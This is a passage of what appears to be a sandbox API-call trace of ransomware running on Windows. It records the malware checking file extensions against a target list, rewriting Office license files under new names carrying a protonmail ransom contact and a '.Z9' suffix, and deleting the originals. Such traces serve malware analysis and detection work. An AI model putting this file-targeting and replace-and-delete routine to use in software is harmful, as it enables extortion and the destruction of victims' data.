	[0178.650] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0178.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0178.650] lstrlenW (lpString=".doc") returned 4
	[0178.650] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.650] lstrlenW (lpString=".docx") returned 5
	[0178.650] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.650] lstrlenW (lpString=".pdf") returned 4
	[0178.650] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.650] lstrlenW (lpString=".xls") returned 4
	[0178.650] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.650] lstrlenW (lpString=".xlsx") returned 5
	[0178.650] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.650] lstrlenW (lpString=".ppt") returned 4
	[0178.650] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0178.650] lstrlenW (lpString=".zip") returned 4
	[0178.650] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.650] lstrlenW (lpString=".rar") returned 4
	[0178.650] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.650] lstrlenW (lpString=".bz2") returned 4
	[0178.650] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.650] lstrlenW (lpString=".7z") returned 3
	[0178.650] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0178.651] lstrlenW (lpString=".dbf") returned 4
	[0178.651] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0178.651] lstrlenW (lpString=".1cd") returned 4
	[0178.651] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp-ul-phn.xrm-ms") returned 86
	[0178.651] lstrlenW (lpString=".jpg") returned 4
	[0178.651] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.651] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0178.651] lstrlenW (lpString="HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 33
	[0178.651] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0178.653] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=10667) returned 1
	[0178.653] CloseHandle (hObject=0x444) returned 1
	[0178.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 0x220
	[0178.653] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0178.654] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.654] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0178.656] GetLastError () returned 0x0
	[0178.656] ReadFile (in: hFile=0x444, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x29ab, lpOverlapped=0x0) returned 1
	[0178.981] WriteFile (in: hFile=0x558, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0178.982] ReadFile (in: hFile=0x444, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.982] WriteFile (in: hFile=0x558, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x116, lpOverlapped=0x0) returned 1
	[0178.982] SetEndOfFile (hFile=0x558) returned 1
	[0178.982] CloseHandle (hObject=0x558) returned 1
	[0178.983] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.983] SetEndOfFile (hFile=0x444) returned 1
	[0178.986] CloseHandle (hObject=0x444) returned 1
	[0178.986] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0178.987] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp2-pl.xrm-ms")) returned 1
	[0178.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0178.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0178.988] lstrlenW (lpString=".doc") returned 4
	[0178.988] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.988] lstrlenW (lpString=".docx") returned 5
	[0178.988] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.988] lstrlenW (lpString=".pdf") returned 4
	[0178.988] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.988] lstrlenW (lpString=".xls") returned 4
	[0178.988] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.988] lstrlenW (lpString=".xlsx") returned 5
	[0178.988] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.988] lstrlenW (lpString=".ppt") returned 4
	[0178.989] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0178.989] lstrlenW (lpString=".zip") returned 4
	[0178.989] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.989] lstrlenW (lpString=".rar") returned 4
	[0178.989] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.989] lstrlenW (lpString=".bz2") returned 4
	[0178.989] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.989] lstrlenW (lpString=".7z") returned 3
	[0178.989] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0178.989] lstrlenW (lpString=".dbf") returned 4
	[0178.989] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0178.989] lstrlenW (lpString=".1cd") returned 4
	[0178.989] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0178.989] lstrlenW (lpString=".jpg") returned 4
	[0178.989] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0178.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0178.989] lstrlenW (lpString=".doc") returned 4
	[0178.989] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0178.989] lstrlenW (lpString=".docx") returned 5
	[0178.990] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0178.990] lstrlenW (lpString=".pdf") returned 4
	[0178.990] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0178.990] lstrlenW (lpString=".xls") returned 4
	[0178.990] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0178.990] lstrlenW (lpString=".xlsx") returned 5
	[0178.990] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0178.990] lstrlenW (lpString=".ppt") returned 4
	[0178.990] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0178.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0178.990] lstrlenW (lpString=".zip") returned 4
	[0178.990] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0178.990] lstrlenW (lpString=".rar") returned 4
	[0178.990] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0178.990] lstrlenW (lpString=".bz2") returned 4
	[0178.990] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0178.990] lstrlenW (lpString=".7z") returned 3
	[0178.990] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0178.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0178.990] lstrlenW (lpString=".dbf") returned 4
	[0178.990] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0178.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0178.990] lstrlenW (lpString=".1cd") returned 4
	[0178.990] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0178.990] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp2-pl.xrm-ms") returned 83
	[0178.990] lstrlenW (lpString=".jpg") returned 4
	[0178.990] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0178.991] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0178.991] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 33
	[0178.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0178.992] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=10667) returned 1
	[0178.992] CloseHandle (hObject=0x444) returned 1
	[0178.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 0x220
	[0178.992] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0178.992] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0178.992] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.993] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0178.994] GetLastError () returned 0x0
	[0178.994] ReadFile (in: hFile=0x444, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x29ab, lpOverlapped=0x0) returned 1
	[0178.996] WriteFile (in: hFile=0x558, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0178.997] ReadFile (in: hFile=0x444, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0178.998] WriteFile (in: hFile=0x558, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x116, lpOverlapped=0x0) returned 1
	[0178.998] SetEndOfFile (hFile=0x558) returned 1
	[0178.998] CloseHandle (hObject=0x558) returned 1
	[0178.998] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0178.998] SetEndOfFile (hFile=0x444) returned 1
	[0179.001] CloseHandle (hObject=0x444) returned 1
	[0179.001] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.002] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-pl.xrm-ms")) returned 1
	[0179.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0179.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0179.003] lstrlenW (lpString=".doc") returned 4
	[0179.003] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.003] lstrlenW (lpString=".docx") returned 5
	[0179.003] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.003] lstrlenW (lpString=".pdf") returned 4
	[0179.003] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.003] lstrlenW (lpString=".xls") returned 4
	[0179.003] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.003] lstrlenW (lpString=".xlsx") returned 5
	[0179.003] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.003] lstrlenW (lpString=".ppt") returned 4
	[0179.003] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.003] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0179.003] lstrlenW (lpString=".zip") returned 4
	[0179.003] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.003] lstrlenW (lpString=".rar") returned 4
	[0179.003] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.003] lstrlenW (lpString=".bz2") returned 4
	[0179.003] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.004] lstrlenW (lpString=".7z") returned 3
	[0179.004] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0179.004] lstrlenW (lpString=".dbf") returned 4
	[0179.004] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0179.004] lstrlenW (lpString=".1cd") returned 4
	[0179.004] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0179.004] lstrlenW (lpString=".jpg") returned 4
	[0179.004] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0179.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0179.004] lstrlenW (lpString=".doc") returned 4
	[0179.004] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.004] lstrlenW (lpString=".docx") returned 5
	[0179.004] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.004] lstrlenW (lpString=".pdf") returned 4
	[0179.004] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.004] lstrlenW (lpString=".xls") returned 4
	[0179.004] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.004] lstrlenW (lpString=".xlsx") returned 5
	[0179.004] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.004] lstrlenW (lpString=".ppt") returned 4
	[0179.004] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0179.004] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0179.004] lstrlenW (lpString=".zip") returned 4
	[0179.004] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0179.004] lstrlenW (lpString=".rar") returned 4
	[0179.005] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0179.005] lstrlenW (lpString=".bz2") returned 4
	[0179.005] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0179.005] lstrlenW (lpString=".7z") returned 3
	[0179.005] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0179.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0179.005] lstrlenW (lpString=".dbf") returned 4
	[0179.005] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0179.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0179.005] lstrlenW (lpString=".1cd") returned 4
	[0179.005] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0179.005] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-pl.xrm-ms") returned 83
	[0179.005] lstrlenW (lpString=".jpg") returned 4
	[0179.005] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0179.005] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0179.005] lstrlenW (lpString="HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 34
	[0179.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0179.006] GetFileSizeEx (in: hFile=0x444, lpFileSize=0x35eff14 | out: lpFileSize=0x35eff14*=22094) returned 1
	[0179.006] CloseHandle (hObject=0x444) returned 1
	[0179.006] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 0x220
	[0179.007] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0179.007] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x444
	[0179.007] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.008] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558
	[0179.009] GetLastError () returned 0x0
	[0179.009] ReadFile (in: hFile=0x444, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x564e, lpOverlapped=0x0) returned 1
	[0179.015] WriteFile (in: hFile=0x558, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x5650, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x5650, lpOverlapped=0x0) returned 1
	[0179.281] ReadFile (in: hFile=0x444, lpBuffer=0x41bd020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x35efecc, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesRead=0x35efecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.281] WriteFile (in: hFile=0x558, lpBuffer=0x41bd020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x35efc94, lpOverlapped=0x0 | out: lpBuffer=0x41bd020*, lpNumberOfBytesWritten=0x35efc94*=0x118, lpOverlapped=0x0) returned 1
	[0179.281] SetEndOfFile (hFile=0x558) returned 1
	[0179.430] CloseHandle (hObject=0x558) returned 1
	[0179.430] SetFilePointerEx (in: hFile=0x444, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x35efec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.430] SetEndOfFile (hFile=0x444) returned 1
	[0179.434] CloseHandle (hObject=0x444) returned 1
	[0179.434] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0179.735] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\homebusinessr_oem_perp3-ppd.xrm-ms")) returned 1
	[0179.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0179.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\HomeBusinessR_OEM_Perp3-ppd.xrm-ms") returned 84
	[0179.953] lstrlenW (lpString=".doc") returned 4
	[0179.953] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0179.953] lstrlenW (lpString=".docx") returned 5
	[0179.953] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0179.953] lstrlenW (lpString=".pdf") returned 4
	[0179.953] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0179.954] lstrlenW (lpString=".xls") returned 4
	[0179.954] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0179.954] lstrlenW (lpString=".xlsx") returned 5
	[0179.954] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0179.954] lstrlenW (lpString=".ppt") returned 4
